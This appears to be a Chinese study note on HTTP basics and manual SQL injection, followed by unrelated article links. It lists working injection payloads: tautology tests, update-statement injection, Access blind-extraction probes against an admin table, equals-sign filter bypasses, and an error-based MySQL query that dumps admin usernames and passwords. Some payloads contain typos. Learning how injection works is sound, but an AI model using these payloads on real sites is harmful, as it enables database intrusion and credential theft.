sql 子查询:() select goods_name from goods where goods_id=(select max(goods_id) from goods);

联合查询:select * from boy union select *from girl select 查库 11,hid,bname from boy union select uid,name,age

from user

information_schema

http 协议

tcp 1-65535

udp 1-65535

防火墙

80,443,53

HTTP 针对web的攻击

Web: 前端+后端+数据库

前端 :用户交易 html (标签语言),css(样式表),Javascript (动态处理)

通讯 :http/ https 协议  **

后端 : c -->php / J(java)SP /ASP/ASPX(.NET)

数据库 :关系型数据库 MySQL Oracle db2 SqlServer msSQL  非MongoDB

HTTP

请求request

回复responset

POST /login.php HTTP/1.1  ##请求行

HOST: www.xxx.com(键值对,前键后值##一行)##请求头

User-Agent: Mozilla/5.0(windows NT 6.1;rv15.0)Gecko/20100101 firefox/1.5

//空白行,带表请求头结束

Username=admin&password=admin //请求正文

与HTTP请求对应的是HTTP响应,HTTP响应也是由3部分组成,分别是:响应行,响应头(消息报头),响应正文(消息主体)

(HTTP头详解)ß(配套群里HTTP头详解食用)

HTTP/1.1 200  OK     /响应行

Date:Thu,28 Feb 2013 07:36:47 GMT //响应头

SERVER:

Content-Length

….

// 空白行,代表响应头结束

<html> //响应正文或叫消息主体

<head><title>index.html</title></head>

<html>

**闭合**

SQL注入

原理:用户对SQL注入语句的可控性,可以输入数据库指令,被SQL解释器执行,导致数据库被用户控制

分类:

数字型+字符型

数字型注入多存在于asp和php网站的应用程序中,因为ASP和PHP输入弱类型语言,例如:参数id=5,PHP会自动来推导变量id的类型为int类型语言,那么id=5 and 1=1 则会推导为string类型,这是弱类型语言的特性;而Java,c#这类强类型语言,如果试图把一个字符串转换为int类型,处理不当则会抛出异常,无法继续执行。这方面强类型语言比弱类型语言有先天优势,所以作为一个合格的程序员,在数据类型处理方面一定要严格设置

Id=5 and 1=1

Select  * from table where id=8

字符型注入

输入参数为字符串时

例:

Select  *  from table where username = ‘ admin ‘

Select  *  from table where username= ‘ 8’ or 1=1 –‘

Select  *  from table where username= like ‘%admin%’

http://www.xxx.com/goods.asp?goods_name=N85 ' and 1=1

select * from goods where goods_name ='N85 '(浅闭合单引号) and 1=1 or '''

只要是字符串则必须单引号闭合以及代码注释,无论是select注入,insert注入,或者其他类型的注入

例如update语句:某常见的卖家修改商品名称的功能,SQL语句如下:update goods set goods_name = ‘ipone X ‘ where goods_id =3;

现在需要对SQL语句注入,这需要闭合,可在name插入语句为’+(select name from users where id=1)+’,最终执行的SQL语句为:

Update goods set goods_name=’ ‘+(select name from users where id=3+’ ‘ where good_id=1;

利用两次单引号闭合才能完成这一次的闭合

注意:根据数据库的不同,字符串连接符也不同,如SQLserver连接字符是“+”,Oracle 连接符为“||”,MySQL 连接符为空格

其他分类方法

注入点不同:

- Cookie注入,POST 注入,get注入,搜索型注入

利用的SQL语句不同:

- Update注入,select注入,union注入

注入显错方式不同:

- 错注入,盲注

花式高级

- 延时注入(boolen,二分法),二次注入

注入思路

  1. 判断是否有注入点
  2. 注入点类型判断(数字 or 字符 )
  3. 判断数据库 (Acess,MySQL,msSQL,Oracle,其他)
  4. 查询有哪些库(acess可以跳过)
  5. 查询有哪些表
  6. 查询某个表有哪些列
  7. 查询每一条记录的内容

主信道

80 http HTML

侧信道

电源, 空气,声音 ,时间* ,53 dns协议*,SIM卡 ,示波器

不能用等号时

|| 555*666=666*555*1;

|| 555*666 in (666*555*1,1);

|| 555*666 like 666*555*1;

手工注入

  1. 判断注入点

(1) and 1=1

(2) and 1=2

  1. 简单判断数据库类型

. and exists(select count(*) from msysobjects)(msysobjects表为access特有的,但默认无权限读取)

and exists(select count(*)from sysobjects)(sysobjects是SQLserver特有的)

0<(select top 1 asc(mid(admin,1,1)) from admin) (top2:前两行)(top 1: 前一行 横行 参数1从第一位开始取 参数2:取1位字母)

  1. 猜表名称:

And 0<=(select count(*) from admin) –判断是否有admin这张表

  1. 猜表中账户的数目(行数)

and 0< (select count(*) from admin) –判断admin这张表里是否有数据

and 0< (select count(*) from admin) –判断是否有1条以上的数据

  1. 猜测字段名称 count括号里加上我们想到的字段名称

and 0< (select count(admin) from admin)

  1. 猜各个内容的长度

and  (select top 1 asc(mid(admin,1,1)) from admin)>0 说明内容长度大于等于1

and  (select top 1 asc(mid(admin,2,1)) from admin)>0  说明内容长度大于等于2

and  (select top 1 asc(mid(admin,3,1)) from admin)>0  说明内容长度大于等于3

and  (select top 1 asc(mid(admin,6,1)) from admin)>0  说明内容长度大于等于6

and  (select top 1 asc(mid(admin,7,1)) from admin)>0  说明内容长度大于等于7

  1. 猜字段内的内容

and  (select top 1 asc(mid(字段名,从第几位开始,取几个字符)) from admin)>$0$ -不报错一直测量下去

读取字段值

Select * from c_content where contented = 3uion select 1from (select count(*),concat(float(rand(0)*100), (select concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e) from xdcm.s_admin limit 0,1))a from information_schema.tables group by a)b#

手工sql注入(重点)的更多相关文章

  1. 【web安全】第六弹:手工SQL注入详解

    前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章 ...

  2. 手工sql注入简单入门

    1.判断是否可以注入: 数字型: 1.1在参数后面加一个引号',如果页面报数字number错误,则一定不是sql注入点:如果报数据库比如mysql.oracle之类的错误,则是一个sql注入点. 1. ...

  3. 渗透常用手工SQL注入语句合集

    1.判断有无注入点; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select ...

  4. 手工sql注入判断是否存在注入点

    1.加入单引号 ’提交,结果:如果出现错误提示,则该网站可能就存在注入漏洞.2.数字型判断是否有注入;语句:and 1=1 ;and 1=2 (经典).' and '1'=1(字符型)结果:分别返回不 ...

  5. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  6. 一篇文章带你了解SQL注入

    什么是SQL注入? 原理: Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令 危害: 注入可能导致数据丢失泄露或数据破坏.缺乏可审计性,有时甚至能导致完全接管 ...

  7. 『SQL注入』 User-Agent 手工注入的探测与利用分析

    原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: ...

  8. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  9. SQL注入之PHP-MySQL实现手工注入-数字型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

随机推荐

  1. Laravel5.x的php artisan migrate数据库迁移创建操作报错SQLSTATE[42000]解决

    Laravel5.x运行迁移命令创建数据表:php artisan migrate报错. Illuminate\Database\QueryException  : SQLSTATE[42000]: ...

  2. UTM (Urchin Tracking Module) codes

    UTM Codes are a great way to see the results of your offline marketing In today’s day and age, we ar ...

  3. Mount挂载/data时出现mount: /data is busy 如何解决?

    1.df -h查看下挂载点/data是否正在使用,有时候会存在挂载了,但df -h不会显示出来,这时候 grep “/data” /proc/mounts 来进行查看 2.当确认挂载点/data正在使 ...

  4. Windows 命令行文本操作

    Windows下文件操作,大部分的时候用的都是用Windows 资源管理器(就是双击 “我的电脑” 的时候看到的图形界面). 接下来,以Windows命令行下操作文本为例,看看命令行在操作文件方面有多 ...

  5. What?一个 Dubbo 服务启动要两个小时!

    前言 前几天在测试环境碰到一个非常奇怪的与 dubbo 相关的问题,事后我在网上搜索了一圈并没有发现类似的帖子或文章,于是便有了这篇. 希望对还未碰到或正在碰到的朋友有所帮助. 现象 现象是这样的,有 ...

  6. Matplotlib快速入门

    Matplotlib 可能还有小伙伴不知道Matplotlib是什么,下面是维基百科的介绍. Matplotlib 是Python编程语言的一个绘图库及其数值数学扩展 NumPy.它为利用通用的图形用 ...

  7. 100天搞定机器学习|Day2简单线性回归分析

    第一天机器学习100天|Day1数据预处理,我们学习了数据预处理.知道了,数据预处理是机器学习中最基础和最麻烦,未来占用时间最长的一步操作.数据预处理一般有六个步骤,导入库.导入数据集.处理缺失值.分 ...

  8. Python 3网络爬虫开发实战中文 书籍软件包(原创)

    Python 3网络爬虫开发实战中文 书籍软件包(原创) 本书书籍软件包为本人原创,想学爬虫的朋友你们的福利来了.软件包包含了该书籍所需的所有软件. 因为软件导致这个文件比较大,所以百度网盘没有加速的 ...

  9. jmeter分析性能报告时的误区

    概述 我们用jmeter做性能测试,必然需要学会分析测试报告.但是初学者常常因为对概念的不清晰,最后被测试报告带到沟里去. 常见的误区 分析响应时间全用平均值 响应时间不和吞吐量挂钩 响应时间和吞吐量 ...

  10. 《C#并发编程经典实例》学习笔记—2.7 避免上下文延续

    避免上下文延续 在默认情况下,一个 async 方法在被 await 调用后恢复运行时,会在原来的上下文中运行. 为了避免在上下文中恢复运行,可让 await 调用 ConfigureAwait 方法 ...